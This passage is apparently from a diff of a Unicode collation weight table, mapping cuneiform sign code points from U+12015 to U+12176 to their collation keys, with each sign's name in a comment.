+12015 ; [.49CA.0020.0002] # CUNEIFORM SIGN AB GUNU
+12016 ; [.49CB.0020.0002] # CUNEIFORM SIGN AB2
+12017 ; [.49CC.0020.0002] # CUNEIFORM SIGN AB2 TIMES BALAG
+12018 ; [.49CD.0020.0002] # CUNEIFORM SIGN AB2 TIMES GAN2 TENU
+12019 ; [.49CE.0020.0002] # CUNEIFORM SIGN AB2 TIMES ME PLUS EN
+1201A ; [.49CF.0020.0002] # CUNEIFORM SIGN AB2 TIMES SHA3
+1201B ; [.49D0.0020.0002] # CUNEIFORM SIGN AB2 TIMES TAK4
+1201C ; [.49D1.0020.0002] # CUNEIFORM SIGN AD
+1201D ; [.49D2.0020.0002] # CUNEIFORM SIGN AK
+1201E ; [.49D3.0020.0002] # CUNEIFORM SIGN AK TIMES ERIN2
+1201F ; [.49D4.0020.0002] # CUNEIFORM SIGN AK TIMES SHITA PLUS GISH
+12020 ; [.49D5.0020.0002] # CUNEIFORM SIGN AL
+12021 ; [.49D6.0020.0002] # CUNEIFORM SIGN AL TIMES AL
+12022 ; [.49D7.0020.0002] # CUNEIFORM SIGN AL TIMES DIM2
+12023 ; [.49D8.0020.0002] # CUNEIFORM SIGN AL TIMES GISH
+12024 ; [.49D9.0020.0002] # CUNEIFORM SIGN AL TIMES HA
+12025 ; [.49DA.0020.0002] # CUNEIFORM SIGN AL TIMES KAD3
+12026 ; [.49DB.0020.0002] # CUNEIFORM SIGN AL TIMES KI
+12027 ; [.49DC.0020.0002] # CUNEIFORM SIGN AL TIMES SHE
+12028 ; [.49DD.0020.0002] # CUNEIFORM SIGN AL TIMES USH
+12029 ; [.49DE.0020.0002] # CUNEIFORM SIGN ALAN
+1202A ; [.49DF.0020.0002] # CUNEIFORM SIGN ALEPH
+1202B ; [.49E0.0020.0002] # CUNEIFORM SIGN AMAR
+1202C ; [.49E1.0020.0002] # CUNEIFORM SIGN AMAR TIMES SHE
+1202D ; [.49E2.0020.0002] # CUNEIFORM SIGN AN
+1202E ; [.49E3.0020.0002] # CUNEIFORM SIGN AN OVER AN
+1202F ; [.49E4.0020.0002] # CUNEIFORM SIGN AN THREE TIMES
+12030 ; [.49E5.0020.0002] # CUNEIFORM SIGN AN PLUS NAGA OPPOSING AN PLUS NAGA
+12031 ; [.49E6.0020.0002] # CUNEIFORM SIGN AN PLUS NAGA SQUARED
+12032 ; [.49E7.0020.0002] # CUNEIFORM SIGN ANSHE
+12033 ; [.49E8.0020.0002] # CUNEIFORM SIGN APIN
+12034 ; [.49E9.0020.0002] # CUNEIFORM SIGN ARAD
+12035 ; [.49EA.0020.0002] # CUNEIFORM SIGN ARAD TIMES KUR
+12036 ; [.49EB.0020.0002] # CUNEIFORM SIGN ARKAB
+12037 ; [.49EC.0020.0002] # CUNEIFORM SIGN ASAL2
+12038 ; [.49ED.0020.0002] # CUNEIFORM SIGN ASH
+12039 ; [.49EE.0020.0002] # CUNEIFORM SIGN ASH ZIDA TENU
+1203A ; [.49EF.0020.0002] # CUNEIFORM SIGN ASH KABA TENU
+1203B ; [.49F0.0020.0002] # CUNEIFORM SIGN ASH OVER ASH TUG2 OVER TUG2 TUG2 OVER TUG2 PAP
+1203C ; [.49F1.0020.0002] # CUNEIFORM SIGN ASH OVER ASH OVER ASH
+1203D ; [.49F2.0020.0002] # CUNEIFORM SIGN ASH OVER ASH OVER ASH CROSSING ASH OVER ASH OVER ASH
+1203E ; [.49F3.0020.0002] # CUNEIFORM SIGN ASH2
+1203F ; [.49F4.0020.0002] # CUNEIFORM SIGN ASHGAB
+12040 ; [.49F5.0020.0002] # CUNEIFORM SIGN BA
+12041 ; [.49F6.0020.0002] # CUNEIFORM SIGN BAD
+12042 ; [.49F7.0020.0002] # CUNEIFORM SIGN BAG3
+12043 ; [.49F8.0020.0002] # CUNEIFORM SIGN BAHAR2
+12044 ; [.49F9.0020.0002] # CUNEIFORM SIGN BAL
+12045 ; [.49FA.0020.0002] # CUNEIFORM SIGN BAL OVER BAL
+12046 ; [.49FB.0020.0002] # CUNEIFORM SIGN BALAG
+12047 ; [.49FC.0020.0002] # CUNEIFORM SIGN BAR
+12048 ; [.49FD.0020.0002] # CUNEIFORM SIGN BARA2
+12049 ; [.49FE.0020.0002] # CUNEIFORM SIGN BI
+1204A ; [.49FF.0020.0002] # CUNEIFORM SIGN BI TIMES A
+1204B ; [.4A00.0020.0002] # CUNEIFORM SIGN BI TIMES GAR
+1204C ; [.4A01.0020.0002] # CUNEIFORM SIGN BI TIMES IGI GUNU
+1204D ; [.4A02.0020.0002] # CUNEIFORM SIGN BU
+1204E ; [.4A03.0020.0002] # CUNEIFORM SIGN BU OVER BU AB
+1204F ; [.4A04.0020.0002] # CUNEIFORM SIGN BU OVER BU UN
+12050 ; [.4A05.0020.0002] # CUNEIFORM SIGN BU CROSSING BU
+12051 ; [.4A06.0020.0002] # CUNEIFORM SIGN BULUG
+12052 ; [.4A07.0020.0002] # CUNEIFORM SIGN BULUG OVER BULUG
+12053 ; [.4A08.0020.0002] # CUNEIFORM SIGN BUR
+12054 ; [.4A09.0020.0002] # CUNEIFORM SIGN BUR2
+12055 ; [.4A0A.0020.0002] # CUNEIFORM SIGN DA
+12056 ; [.4A0B.0020.0002] # CUNEIFORM SIGN DAG
+12057 ; [.4A0C.0020.0002] # CUNEIFORM SIGN DAG KISIM5 TIMES A PLUS MASH
+12058 ; [.4A0D.0020.0002] # CUNEIFORM SIGN DAG KISIM5 TIMES AMAR
+12059 ; [.4A0E.0020.0002] # CUNEIFORM SIGN DAG KISIM5 TIMES BALAG
+1205A ; [.4A0F.0020.0002] # CUNEIFORM SIGN DAG KISIM5 TIMES BI
+1205B ; [.4A10.0020.0002] # CUNEIFORM SIGN DAG KISIM5 TIMES GA
+1205C ; [.4A11.0020.0002] # CUNEIFORM SIGN DAG KISIM5 TIMES GA PLUS MASH
+1205D ; [.4A12.0020.0002] # CUNEIFORM SIGN DAG KISIM5 TIMES GI
+1205E ; [.4A13.0020.0002] # CUNEIFORM SIGN DAG KISIM5 TIMES GIR2
+1205F ; [.4A14.0020.0002] # CUNEIFORM SIGN DAG KISIM5 TIMES GUD
+12060 ; [.4A15.0020.0002] # CUNEIFORM SIGN DAG KISIM5 TIMES HA
+12061 ; [.4A16.0020.0002] # CUNEIFORM SIGN DAG KISIM5 TIMES IR
+12062 ; [.4A17.0020.0002] # CUNEIFORM SIGN DAG KISIM5 TIMES IR PLUS LU
+12063 ; [.4A18.0020.0002] # CUNEIFORM SIGN DAG KISIM5 TIMES KAK
+12064 ; [.4A19.0020.0002] # CUNEIFORM SIGN DAG KISIM5 TIMES LA
+12065 ; [.4A1A.0020.0002] # CUNEIFORM SIGN DAG KISIM5 TIMES LU
+12066 ; [.4A1B.0020.0002] # CUNEIFORM SIGN DAG KISIM5 TIMES LU PLUS MASH2
+12067 ; [.4A1C.0020.0002] # CUNEIFORM SIGN DAG KISIM5 TIMES LUM
+12068 ; [.4A1D.0020.0002] # CUNEIFORM SIGN DAG KISIM5 TIMES NE
+12069 ; [.4A1E.0020.0002] # CUNEIFORM SIGN DAG KISIM5 TIMES PAP PLUS PAP
+1206A ; [.4A1F.0020.0002] # CUNEIFORM SIGN DAG KISIM5 TIMES SI
+1206B ; [.4A20.0020.0002] # CUNEIFORM SIGN DAG KISIM5 TIMES TAK4
+1206C ; [.4A21.0020.0002] # CUNEIFORM SIGN DAG KISIM5 TIMES U2 PLUS GIR2
+1206D ; [.4A22.0020.0002] # CUNEIFORM SIGN DAG KISIM5 TIMES USH
+1206E ; [.4A23.0020.0002] # CUNEIFORM SIGN DAM
+1206F ; [.4A24.0020.0002] # CUNEIFORM SIGN DAR
+12070 ; [.4A25.0020.0002] # CUNEIFORM SIGN DARA3
+12071 ; [.4A26.0020.0002] # CUNEIFORM SIGN DARA4
+12072 ; [.4A27.0020.0002] # CUNEIFORM SIGN DI
+12073 ; [.4A28.0020.0002] # CUNEIFORM SIGN DIB
+12074 ; [.4A29.0020.0002] # CUNEIFORM SIGN DIM
+12075 ; [.4A2A.0020.0002] # CUNEIFORM SIGN DIM TIMES SHE
+12076 ; [.4A2B.0020.0002] # CUNEIFORM SIGN DIM2
+12077 ; [.4A2C.0020.0002] # CUNEIFORM SIGN DIN
+12078 ; [.4A2D.0020.0002] # CUNEIFORM SIGN DIN KASKAL U GUNU DISH
+12079 ; [.4A2E.0020.0002] # CUNEIFORM SIGN DISH
+1207A ; [.4A2F.0020.0002] # CUNEIFORM SIGN DU
+1207B ; [.4A30.0020.0002] # CUNEIFORM SIGN DU OVER DU
+1207C ; [.4A31.0020.0002] # CUNEIFORM SIGN DU GUNU
+1207D ; [.4A32.0020.0002] # CUNEIFORM SIGN DU SHESHIG
+1207E ; [.4A33.0020.0002] # CUNEIFORM SIGN DUB
+1207F ; [.4A34.0020.0002] # CUNEIFORM SIGN DUB TIMES ESH2
+12080 ; [.4A35.0020.0002] # CUNEIFORM SIGN DUB2
+12081 ; [.4A36.0020.0002] # CUNEIFORM SIGN DUG
+12082 ; [.4A37.0020.0002] # CUNEIFORM SIGN DUGUD
+12083 ; [.4A38.0020.0002] # CUNEIFORM SIGN DUH
+12084 ; [.4A39.0020.0002] # CUNEIFORM SIGN DUN
+12085 ; [.4A3A.0020.0002] # CUNEIFORM SIGN DUN3
+12086 ; [.4A3B.0020.0002] # CUNEIFORM SIGN DUN3 GUNU
+12087 ; [.4A3C.0020.0002] # CUNEIFORM SIGN DUN3 GUNU GUNU
+12088 ; [.4A3D.0020.0002] # CUNEIFORM SIGN DUN4
+12089 ; [.4A3E.0020.0002] # CUNEIFORM SIGN DUR2
+1208A ; [.4A3F.0020.0002] # CUNEIFORM SIGN E
+1208B ; [.4A40.0020.0002] # CUNEIFORM SIGN E TIMES PAP
+1208C ; [.4A41.0020.0002] # CUNEIFORM SIGN E OVER E NUN OVER NUN
+1208D ; [.4A42.0020.0002] # CUNEIFORM SIGN E2
+1208E ; [.4A43.0020.0002] # CUNEIFORM SIGN E2 TIMES A PLUS HA PLUS DA
+1208F ; [.4A44.0020.0002] # CUNEIFORM SIGN E2 TIMES GAR
+12090 ; [.4A45.0020.0002] # CUNEIFORM SIGN E2 TIMES MI
+12091 ; [.4A46.0020.0002] # CUNEIFORM SIGN E2 TIMES SAL
+12092 ; [.4A47.0020.0002] # CUNEIFORM SIGN E2 TIMES SHE
+12093 ; [.4A48.0020.0002] # CUNEIFORM SIGN E2 TIMES U
+12094 ; [.4A49.0020.0002] # CUNEIFORM SIGN EDIN
+12095 ; [.4A4A.0020.0002] # CUNEIFORM SIGN EGIR
+12096 ; [.4A4B.0020.0002] # CUNEIFORM SIGN EL
+12097 ; [.4A4C.0020.0002] # CUNEIFORM SIGN EN
+12098 ; [.4A4D.0020.0002] # CUNEIFORM SIGN EN TIMES GAN2
+12099 ; [.4A4E.0020.0002] # CUNEIFORM SIGN EN TIMES GAN2 TENU
+1209A ; [.4A4F.0020.0002] # CUNEIFORM SIGN EN TIMES ME
+1209B ; [.4A50.0020.0002] # CUNEIFORM SIGN EN CROSSING EN
+1209C ; [.4A51.0020.0002] # CUNEIFORM SIGN EN OPPOSING EN
+1209D ; [.4A52.0020.0002] # CUNEIFORM SIGN EN SQUARED
+1209E ; [.4A53.0020.0002] # CUNEIFORM SIGN EREN
+1209F ; [.4A54.0020.0002] # CUNEIFORM SIGN ERIN2
+120A0 ; [.4A55.0020.0002] # CUNEIFORM SIGN ESH2
+120A1 ; [.4A56.0020.0002] # CUNEIFORM SIGN EZEN
+120A2 ; [.4A57.0020.0002] # CUNEIFORM SIGN EZEN TIMES A
+120A3 ; [.4A58.0020.0002] # CUNEIFORM SIGN EZEN TIMES A PLUS LAL
+120A4 ; [.4A59.0020.0002] # CUNEIFORM SIGN EZEN TIMES A PLUS LAL TIMES LAL
+120A5 ; [.4A5A.0020.0002] # CUNEIFORM SIGN EZEN TIMES AN
+120A6 ; [.4A5B.0020.0002] # CUNEIFORM SIGN EZEN TIMES BAD
+120A7 ; [.4A5C.0020.0002] # CUNEIFORM SIGN EZEN TIMES DUN3 GUNU
+120A8 ; [.4A5D.0020.0002] # CUNEIFORM SIGN EZEN TIMES DUN3 GUNU GUNU
+120A9 ; [.4A5E.0020.0002] # CUNEIFORM SIGN EZEN TIMES HA
+120AA ; [.4A5F.0020.0002] # CUNEIFORM SIGN EZEN TIMES HA GUNU
+120AB ; [.4A60.0020.0002] # CUNEIFORM SIGN EZEN TIMES IGI GUNU
+120AC ; [.4A61.0020.0002] # CUNEIFORM SIGN EZEN TIMES KASKAL
+120AD ; [.4A62.0020.0002] # CUNEIFORM SIGN EZEN TIMES KASKAL SQUARED
+120AE ; [.4A63.0020.0002] # CUNEIFORM SIGN EZEN TIMES KU3
+120AF ; [.4A64.0020.0002] # CUNEIFORM SIGN EZEN TIMES LA
+120B0 ; [.4A65.0020.0002] # CUNEIFORM SIGN EZEN TIMES LAL TIMES LAL
+120B1 ; [.4A66.0020.0002] # CUNEIFORM SIGN EZEN TIMES LI
+120B2 ; [.4A67.0020.0002] # CUNEIFORM SIGN EZEN TIMES LU
+120B3 ; [.4A68.0020.0002] # CUNEIFORM SIGN EZEN TIMES U2
+120B4 ; [.4A69.0020.0002] # CUNEIFORM SIGN EZEN TIMES UD
+120B5 ; [.4A6A.0020.0002] # CUNEIFORM SIGN GA
+120B6 ; [.4A6B.0020.0002] # CUNEIFORM SIGN GA GUNU
+120B7 ; [.4A6C.0020.0002] # CUNEIFORM SIGN GA2
+120B8 ; [.4A6D.0020.0002] # CUNEIFORM SIGN GA2 TIMES A PLUS DA PLUS HA
+120B9 ; [.4A6E.0020.0002] # CUNEIFORM SIGN GA2 TIMES A PLUS HA
+120BA ; [.4A6F.0020.0002] # CUNEIFORM SIGN GA2 TIMES A PLUS IGI
+120BB ; [.4A70.0020.0002] # CUNEIFORM SIGN GA2 TIMES AB2 TENU PLUS TAB
+120BC ; [.4A71.0020.0002] # CUNEIFORM SIGN GA2 TIMES AN
+120BD ; [.4A72.0020.0002] # CUNEIFORM SIGN GA2 TIMES ASH
+120BE ; [.4A73.0020.0002] # CUNEIFORM SIGN GA2 TIMES ASH2 PLUS GAL
+120BF ; [.4A74.0020.0002] # CUNEIFORM SIGN GA2 TIMES BAD
+120C0 ; [.4A75.0020.0002] # CUNEIFORM SIGN GA2 TIMES BAR PLUS RA
+120C1 ; [.4A76.0020.0002] # CUNEIFORM SIGN GA2 TIMES BUR
+120C2 ; [.4A77.0020.0002] # CUNEIFORM SIGN GA2 TIMES BUR PLUS RA
+120C3 ; [.4A78.0020.0002] # CUNEIFORM SIGN GA2 TIMES DA
+120C4 ; [.4A79.0020.0002] # CUNEIFORM SIGN GA2 TIMES DI
+120C5 ; [.4A7A.0020.0002] # CUNEIFORM SIGN GA2 TIMES DIM TIMES SHE
+120C6 ; [.4A7B.0020.0002] # CUNEIFORM SIGN GA2 TIMES DUB
+120C7 ; [.4A7C.0020.0002] # CUNEIFORM SIGN GA2 TIMES EL
+120C8 ; [.4A7D.0020.0002] # CUNEIFORM SIGN GA2 TIMES EL PLUS LA
+120C9 ; [.4A7E.0020.0002] # CUNEIFORM SIGN GA2 TIMES EN
+120CA ; [.4A7F.0020.0002] # CUNEIFORM SIGN GA2 TIMES EN TIMES GAN2 TENU
+120CB ; [.4A80.0020.0002] # CUNEIFORM SIGN GA2 TIMES GAN2 TENU
+120CC ; [.4A81.0020.0002] # CUNEIFORM SIGN GA2 TIMES GAR
+120CD ; [.4A82.0020.0002] # CUNEIFORM SIGN GA2 TIMES GI
+120CE ; [.4A83.0020.0002] # CUNEIFORM SIGN GA2 TIMES GI4
+120CF ; [.4A84.0020.0002] # CUNEIFORM SIGN GA2 TIMES GI4 PLUS A
+120D0 ; [.4A85.0020.0002] # CUNEIFORM SIGN GA2 TIMES GIR2 PLUS SU
+120D1 ; [.4A86.0020.0002] # CUNEIFORM SIGN GA2 TIMES HA PLUS LU PLUS ESH2
+120D2 ; [.4A87.0020.0002] # CUNEIFORM SIGN GA2 TIMES HAL
+120D3 ; [.4A88.0020.0002] # CUNEIFORM SIGN GA2 TIMES HAL PLUS LA
+120D4 ; [.4A89.0020.0002] # CUNEIFORM SIGN GA2 TIMES HI PLUS LI
+120D5 ; [.4A8A.0020.0002] # CUNEIFORM SIGN GA2 TIMES HUB2
+120D6 ; [.4A8B.0020.0002] # CUNEIFORM SIGN GA2 TIMES IGI GUNU
+120D7 ; [.4A8C.0020.0002] # CUNEIFORM SIGN GA2 TIMES ISH PLUS HU PLUS ASH
+120D8 ; [.4A8D.0020.0002] # CUNEIFORM SIGN GA2 TIMES KAK
+120D9 ; [.4A8E.0020.0002] # CUNEIFORM SIGN GA2 TIMES KASKAL
+120DA ; [.4A8F.0020.0002] # CUNEIFORM SIGN GA2 TIMES KID
+120DB ; [.4A90.0020.0002] # CUNEIFORM SIGN GA2 TIMES KID PLUS LAL
+120DC ; [.4A91.0020.0002] # CUNEIFORM SIGN GA2 TIMES KU3 PLUS AN
+120DD ; [.4A92.0020.0002] # CUNEIFORM SIGN GA2 TIMES LA
+120DE ; [.4A93.0020.0002] # CUNEIFORM SIGN GA2 TIMES ME PLUS EN
+120DF ; [.4A94.0020.0002] # CUNEIFORM SIGN GA2 TIMES MI
+120E0 ; [.4A95.0020.0002] # CUNEIFORM SIGN GA2 TIMES NUN
+120E1 ; [.4A96.0020.0002] # CUNEIFORM SIGN GA2 TIMES NUN OVER NUN
+120E2 ; [.4A97.0020.0002] # CUNEIFORM SIGN GA2 TIMES PA
+120E3 ; [.4A98.0020.0002] # CUNEIFORM SIGN GA2 TIMES SAL
+120E4 ; [.4A99.0020.0002] # CUNEIFORM SIGN GA2 TIMES SAR
+120E5 ; [.4A9A.0020.0002] # CUNEIFORM SIGN GA2 TIMES SHE
+120E6 ; [.4A9B.0020.0002] # CUNEIFORM SIGN GA2 TIMES SHE PLUS TUR
+120E7 ; [.4A9C.0020.0002] # CUNEIFORM SIGN GA2 TIMES SHID
+120E8 ; [.4A9D.0020.0002] # CUNEIFORM SIGN GA2 TIMES SUM
+120E9 ; [.4A9E.0020.0002] # CUNEIFORM SIGN GA2 TIMES TAK4
+120EA ; [.4A9F.0020.0002] # CUNEIFORM SIGN GA2 TIMES U
+120EB ; [.4AA0.0020.0002] # CUNEIFORM SIGN GA2 TIMES UD
+120EC ; [.4AA1.0020.0002] # CUNEIFORM SIGN GA2 TIMES UD PLUS DU
+120ED ; [.4AA2.0020.0002] # CUNEIFORM SIGN GA2 OVER GA2
+120EE ; [.4AA3.0020.0002] # CUNEIFORM SIGN GABA
+120EF ; [.4AA4.0020.0002] # CUNEIFORM SIGN GABA CROSSING GABA
+120F0 ; [.4AA5.0020.0002] # CUNEIFORM SIGN GAD
+120F1 ; [.4AA6.0020.0002] # CUNEIFORM SIGN GAD OVER GAD GAR OVER GAR
+120F2 ; [.4AA7.0020.0002] # CUNEIFORM SIGN GAL
+120F3 ; [.4AA8.0020.0002] # CUNEIFORM SIGN GAL GAD OVER GAD GAR OVER GAR
+120F4 ; [.4AA9.0020.0002] # CUNEIFORM SIGN GALAM
+120F5 ; [.4AAA.0020.0002] # CUNEIFORM SIGN GAM
+120F6 ; [.4AAB.0020.0002] # CUNEIFORM SIGN GAN
+120F7 ; [.4AAC.0020.0002] # CUNEIFORM SIGN GAN2
+120F8 ; [.4AAD.0020.0002] # CUNEIFORM SIGN GAN2 TENU
+120F9 ; [.4AAE.0020.0002] # CUNEIFORM SIGN GAN2 OVER GAN2
+120FA ; [.4AAF.0020.0002] # CUNEIFORM SIGN GAN2 CROSSING GAN2
+120FB ; [.4AB0.0020.0002] # CUNEIFORM SIGN GAR
+120FC ; [.4AB1.0020.0002] # CUNEIFORM SIGN GAR3
+120FD ; [.4AB2.0020.0002] # CUNEIFORM SIGN GASHAN
+120FE ; [.4AB3.0020.0002] # CUNEIFORM SIGN GESHTIN
+120FF ; [.4AB4.0020.0002] # CUNEIFORM SIGN GESHTIN TIMES KUR
+12100 ; [.4AB5.0020.0002] # CUNEIFORM SIGN GI
+12101 ; [.4AB6.0020.0002] # CUNEIFORM SIGN GI TIMES E
+12102 ; [.4AB7.0020.0002] # CUNEIFORM SIGN GI TIMES U
+12103 ; [.4AB8.0020.0002] # CUNEIFORM SIGN GI CROSSING GI
+12104 ; [.4AB9.0020.0002] # CUNEIFORM SIGN GI4
+12105 ; [.4ABA.0020.0002] # CUNEIFORM SIGN GI4 OVER GI4
+12106 ; [.4ABB.0020.0002] # CUNEIFORM SIGN GI4 CROSSING GI4
+12107 ; [.4ABC.0020.0002] # CUNEIFORM SIGN GIDIM
+12108 ; [.4ABD.0020.0002] # CUNEIFORM SIGN GIR2
+12109 ; [.4ABE.0020.0002] # CUNEIFORM SIGN GIR2 GUNU
+1210A ; [.4ABF.0020.0002] # CUNEIFORM SIGN GIR3
+1210B ; [.4AC0.0020.0002] # CUNEIFORM SIGN GIR3 TIMES A PLUS IGI
+1210C ; [.4AC1.0020.0002] # CUNEIFORM SIGN GIR3 TIMES GAN2 TENU
+1210D ; [.4AC2.0020.0002] # CUNEIFORM SIGN GIR3 TIMES IGI
+1210E ; [.4AC3.0020.0002] # CUNEIFORM SIGN GIR3 TIMES LU PLUS IGI
+1210F ; [.4AC4.0020.0002] # CUNEIFORM SIGN GIR3 TIMES PA
+12110 ; [.4AC5.0020.0002] # CUNEIFORM SIGN GISAL
+12111 ; [.4AC6.0020.0002] # CUNEIFORM SIGN GISH
+12112 ; [.4AC7.0020.0002] # CUNEIFORM SIGN GISH CROSSING GISH
+12113 ; [.4AC8.0020.0002] # CUNEIFORM SIGN GISH TIMES BAD
+12114 ; [.4AC9.0020.0002] # CUNEIFORM SIGN GISH TIMES TAK4
+12115 ; [.4ACA.0020.0002] # CUNEIFORM SIGN GISH TENU
+12116 ; [.4ACB.0020.0002] # CUNEIFORM SIGN GU
+12117 ; [.4ACC.0020.0002] # CUNEIFORM SIGN GU CROSSING GU
+12118 ; [.4ACD.0020.0002] # CUNEIFORM SIGN GU2
+12119 ; [.4ACE.0020.0002] # CUNEIFORM SIGN GU2 TIMES KAK
+1211A ; [.4ACF.0020.0002] # CUNEIFORM SIGN GU2 TIMES KAK TIMES IGI GUNU
+1211B ; [.4AD0.0020.0002] # CUNEIFORM SIGN GU2 TIMES NUN
+1211C ; [.4AD1.0020.0002] # CUNEIFORM SIGN GU2 TIMES SAL PLUS TUG2
+1211D ; [.4AD2.0020.0002] # CUNEIFORM SIGN GU2 GUNU
+1211E ; [.4AD3.0020.0002] # CUNEIFORM SIGN GUD
+1211F ; [.4AD4.0020.0002] # CUNEIFORM SIGN GUD TIMES A PLUS KUR
+12120 ; [.4AD5.0020.0002] # CUNEIFORM SIGN GUD TIMES KUR
+12121 ; [.4AD6.0020.0002] # CUNEIFORM SIGN GUD OVER GUD LUGAL
+12122 ; [.4AD7.0020.0002] # CUNEIFORM SIGN GUL
+12123 ; [.4AD8.0020.0002] # CUNEIFORM SIGN GUM
+12124 ; [.4AD9.0020.0002] # CUNEIFORM SIGN GUM TIMES SHE
+12125 ; [.4ADA.0020.0002] # CUNEIFORM SIGN GUR
+12126 ; [.4ADB.0020.0002] # CUNEIFORM SIGN GUR7
+12127 ; [.4ADC.0020.0002] # CUNEIFORM SIGN GURUN
+12128 ; [.4ADD.0020.0002] # CUNEIFORM SIGN GURUSH
+12129 ; [.4ADE.0020.0002] # CUNEIFORM SIGN HA
+1212A ; [.4ADF.0020.0002] # CUNEIFORM SIGN HA TENU
+1212B ; [.4AE0.0020.0002] # CUNEIFORM SIGN HA GUNU
+1212C ; [.4AE1.0020.0002] # CUNEIFORM SIGN HAL
+1212D ; [.4AE2.0020.0002] # CUNEIFORM SIGN HI
+1212E ; [.4AE3.0020.0002] # CUNEIFORM SIGN HI TIMES ASH
+1212F ; [.4AE4.0020.0002] # CUNEIFORM SIGN HI TIMES ASH2
+12130 ; [.4AE5.0020.0002] # CUNEIFORM SIGN HI TIMES BAD
+12131 ; [.4AE6.0020.0002] # CUNEIFORM SIGN HI TIMES DISH
+12132 ; [.4AE7.0020.0002] # CUNEIFORM SIGN HI TIMES GAD
+12133 ; [.4AE8.0020.0002] # CUNEIFORM SIGN HI TIMES KIN
+12134 ; [.4AE9.0020.0002] # CUNEIFORM SIGN HI TIMES NUN
+12135 ; [.4AEA.0020.0002] # CUNEIFORM SIGN HI TIMES SHE
+12136 ; [.4AEB.0020.0002] # CUNEIFORM SIGN HI TIMES U
+12137 ; [.4AEC.0020.0002] # CUNEIFORM SIGN HU
+12138 ; [.4AED.0020.0002] # CUNEIFORM SIGN HUB2
+12139 ; [.4AEE.0020.0002] # CUNEIFORM SIGN HUB2 TIMES AN
+1213A ; [.4AEF.0020.0002] # CUNEIFORM SIGN HUB2 TIMES HAL
+1213B ; [.4AF0.0020.0002] # CUNEIFORM SIGN HUB2 TIMES KASKAL
+1213C ; [.4AF1.0020.0002] # CUNEIFORM SIGN HUB2 TIMES LISH
+1213D ; [.4AF2.0020.0002] # CUNEIFORM SIGN HUB2 TIMES UD
+1213E ; [.4AF3.0020.0002] # CUNEIFORM SIGN HUL2
+1213F ; [.4AF4.0020.0002] # CUNEIFORM SIGN I
+12140 ; [.4AF5.0020.0002] # CUNEIFORM SIGN I A
+12141 ; [.4AF6.0020.0002] # CUNEIFORM SIGN IB
+12142 ; [.4AF7.0020.0002] # CUNEIFORM SIGN IDIM
+12143 ; [.4AF8.0020.0002] # CUNEIFORM SIGN IDIM OVER IDIM BUR
+12144 ; [.4AF9.0020.0002] # CUNEIFORM SIGN IDIM OVER IDIM SQUARED
+12145 ; [.4AFA.0020.0002] # CUNEIFORM SIGN IG
+12146 ; [.4AFB.0020.0002] # CUNEIFORM SIGN IGI
+12147 ; [.4AFC.0020.0002] # CUNEIFORM SIGN IGI DIB
+12148 ; [.4AFD.0020.0002] # CUNEIFORM SIGN IGI RI
+12149 ; [.4AFE.0020.0002] # CUNEIFORM SIGN IGI OVER IGI SHIR OVER SHIR UD OVER UD
+1214A ; [.4AFF.0020.0002] # CUNEIFORM SIGN IGI GUNU
+1214B ; [.4B00.0020.0002] # CUNEIFORM SIGN IL
+1214C ; [.4B01.0020.0002] # CUNEIFORM SIGN IL TIMES GAN2 TENU
+1214D ; [.4B02.0020.0002] # CUNEIFORM SIGN IL2
+1214E ; [.4B03.0020.0002] # CUNEIFORM SIGN IM
+1214F ; [.4B04.0020.0002] # CUNEIFORM SIGN IM TIMES TAK4
+12150 ; [.4B05.0020.0002] # CUNEIFORM SIGN IM CROSSING IM
+12151 ; [.4B06.0020.0002] # CUNEIFORM SIGN IM OPPOSING IM
+12152 ; [.4B07.0020.0002] # CUNEIFORM SIGN IM SQUARED
+12153 ; [.4B08.0020.0002] # CUNEIFORM SIGN IMIN
+12154 ; [.4B09.0020.0002] # CUNEIFORM SIGN IN
+12155 ; [.4B0A.0020.0002] # CUNEIFORM SIGN IR
+12156 ; [.4B0B.0020.0002] # CUNEIFORM SIGN ISH
+12157 ; [.4B0C.0020.0002] # CUNEIFORM SIGN KA
+12158 ; [.4B0D.0020.0002] # CUNEIFORM SIGN KA TIMES A
+12159 ; [.4B0E.0020.0002] # CUNEIFORM SIGN KA TIMES AD
+1215A ; [.4B0F.0020.0002] # CUNEIFORM SIGN KA TIMES AD PLUS KU3
+1215B ; [.4B10.0020.0002] # CUNEIFORM SIGN KA TIMES ASH2
+1215C ; [.4B11.0020.0002] # CUNEIFORM SIGN KA TIMES BAD
+1215D ; [.4B12.0020.0002] # CUNEIFORM SIGN KA TIMES BALAG
+1215E ; [.4B13.0020.0002] # CUNEIFORM SIGN KA TIMES BAR
+1215F ; [.4B14.0020.0002] # CUNEIFORM SIGN KA TIMES BI
+12160 ; [.4B15.0020.0002] # CUNEIFORM SIGN KA TIMES ERIN2
+12161 ; [.4B16.0020.0002] # CUNEIFORM SIGN KA TIMES ESH2
+12162 ; [.4B17.0020.0002] # CUNEIFORM SIGN KA TIMES GA
+12163 ; [.4B18.0020.0002] # CUNEIFORM SIGN KA TIMES GAL
+12164 ; [.4B19.0020.0002] # CUNEIFORM SIGN KA TIMES GAN2 TENU
+12165 ; [.4B1A.0020.0002] # CUNEIFORM SIGN KA TIMES GAR
+12166 ; [.4B1B.0020.0002] # CUNEIFORM SIGN KA TIMES GAR PLUS SHA3 PLUS A
+12167 ; [.4B1C.0020.0002] # CUNEIFORM SIGN KA TIMES GI
+12168 ; [.4B1D.0020.0002] # CUNEIFORM SIGN KA TIMES GIR2
+12169 ; [.4B1E.0020.0002] # CUNEIFORM SIGN KA TIMES GISH PLUS SAR
+1216A ; [.4B1F.0020.0002] # CUNEIFORM SIGN KA TIMES GISH CROSSING GISH
+1216B ; [.4B20.0020.0002] # CUNEIFORM SIGN KA TIMES GU
+1216C ; [.4B21.0020.0002] # CUNEIFORM SIGN KA TIMES GUR7
+1216D ; [.4B22.0020.0002] # CUNEIFORM SIGN KA TIMES IGI
+1216E ; [.4B23.0020.0002] # CUNEIFORM SIGN KA TIMES IM
+1216F ; [.4B24.0020.0002] # CUNEIFORM SIGN KA TIMES KAK
+12170 ; [.4B25.0020.0002] # CUNEIFORM SIGN KA TIMES KI
+12171 ; [.4B26.0020.0002] # CUNEIFORM SIGN KA TIMES KID
+12172 ; [.4B27.0020.0002] # CUNEIFORM SIGN KA TIMES LI
+12173 ; [.4B28.0020.0002] # CUNEIFORM SIGN KA TIMES LU
+12174 ; [.4B29.0020.0002] # CUNEIFORM SIGN KA TIMES ME
+12175 ; [.4B2A.0020.0002] # CUNEIFORM SIGN KA TIMES ME PLUS DU
+12176 ; [.4B2B.0020.0002] # CUNEIFORM SIGN KA TIMES ME PLUS GI
